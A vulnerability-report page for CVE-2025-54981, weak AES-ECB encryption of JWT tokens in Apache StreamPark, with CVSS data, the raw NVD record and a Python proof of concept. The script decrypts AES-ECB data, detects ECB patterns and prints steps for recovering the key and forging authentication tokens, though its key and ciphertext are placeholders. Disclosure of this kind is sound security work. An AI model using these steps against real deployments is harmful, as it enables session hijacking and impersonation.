Security Vulnerability Report
中文
CVE-2025-54981 CVSS 7.5 HIGH

CVE-2025-54981

Published: 2025-12-12 15:15:54
Last Modified: 2025-12-15 17:19:20

Description

Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:* - VULNERABLE
Apache StreamPark >= 2.0.0 且 < 2.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54981 PoC - Apache StreamPark Weak Encryption This PoC demonstrates the weak ECB mode encryption vulnerability. Note: Actual exploitation requires obtaining encrypted JWT tokens from the target system. """ import base64 import json from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_aes_ecb(ciphertext_b64, key): """ Decrypt AES-ECB encrypted data Args: ciphertext_b64: Base64 encoded ciphertext key: Encryption key (must be 16, 24, or 32 bytes) Returns: Decrypted plaintext string """ ciphertext = base64.b64decode(ciphertext_b64) cipher = AES.new(key, AES.MODE_ECB) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, AES.block_size) return plaintext.decode('utf-8') def analyze_jwt_structure(plaintext): """ Analyze decrypted JWT structure Args: plaintext: Decrypted JWT token content Returns: Parsed JWT components """ try: parts = plaintext.split('.') if len(parts) == 3: header = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) return {'header': header, 'payload': payload} except Exception as e: print(f"Error parsing JWT: {e}") return None def detect_ecb_pattern(ciphertext): """ Detect ECB mode usage by finding duplicate ciphertext blocks This is a characteristic indicator of ECB mode encryption. Args: ciphertext: Raw ciphertext bytes Returns: Number of duplicate blocks found """ block_size = 16 blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)] unique_blocks = len(set(blocks)) duplicate_count = len(blocks) - unique_blocks return duplicate_count def main(): print("CVE-2025-54981 PoC - Apache StreamPark Weak Encryption Detection") print("=" * 70) # Example: Replace with actual encrypted JWT from target system example_ciphertext = "REPLACE_WITH_ACTUAL_ENCRYPTED_JWT_B64" example_key = b"weak_random_key" # In real attack, this needs to be determined print("\n[1] ECB Mode Detection:") print(" ECB mode produces identical ciphertext blocks for identical plaintext blocks.") print(" This creates recognizable patterns in the ciphertext.") print("\n[2] Attack Steps:") print(" 1. Obtain encrypted JWT tokens from StreamPark system") print(" 2. Analyze ciphertext for ECB mode patterns") print(" 3. Exploit weak random number generator to determine key") print(" 4. Decrypt JWT tokens using AES-ECB") print(" 5. Forge valid authentication tokens for impersonation") print("\n[3] Mitigation:") print(" - Upgrade to Apache StreamPark 2.1.7 or later") print(" - Use AES-GCM or AES-CBC with HMAC for authenticated encryption") print(" - Use cryptographically secure random number generators") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54981", "sourceIdentifier": "[email protected]", "published": "2025-12-12T15:15:53.703", "lastModified": "2025-12-15T17:19:19.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data\n\nThis issue affects Apache StreamPark: from 2.0.0 before 2.1.7.\n\nUsers are recommended to upgrade to version 2.1.7, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.7", "matchCriteriaId": "18BD3C9F-61F6-4D68-B0E7-333A94F827ED"}]}]}], "references": [{"url": "https://lists.apache.org/thread/9rbvdvwg5fdhzjdgyrholgso53r26998", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/12/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}